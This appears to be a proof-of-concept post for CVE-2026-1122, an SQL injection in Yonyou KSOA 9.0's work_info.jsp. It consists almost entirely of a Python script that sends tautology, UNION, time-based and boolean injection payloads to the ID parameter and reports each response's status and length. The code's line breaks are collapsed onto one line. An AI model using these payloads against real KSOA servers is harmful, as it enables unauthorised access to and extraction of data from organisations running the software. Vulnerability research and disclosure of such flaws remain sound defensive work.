CVE-2026-1122: 用友KSOA 9.0 work_info.jsp SQL注入漏洞

import requests # CVE-2026-1122 PoC - Yonyou KSOA 9.0 SQL Injection # Target: /worksheet/work_info.jsp target_url = "http://target-server/worksheet/work_info.jsp" # Basic SQL injection test payloads payloads = [ "1' OR '1'='1", "1' UNION SELECT NULL--", "1' AND SLEEP(5)--", "1' AND 1=1--" ] def test_sql_injection(target, param_name='ID'): print(f"[*] Testing SQL Injection on {target}") print(f"[*] Parameter: {param_name}") for payload in payloads: params = {param_name: payload} try: response = requests.get(target, params=params, timeout=10) print(f"[+] Payload: {payload}") print(f" Status: {response.status_code}") print(f" Length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"[-] Error with payload {payload}: {e}") if __name__ == "__main__": test_sql_injection(target_url)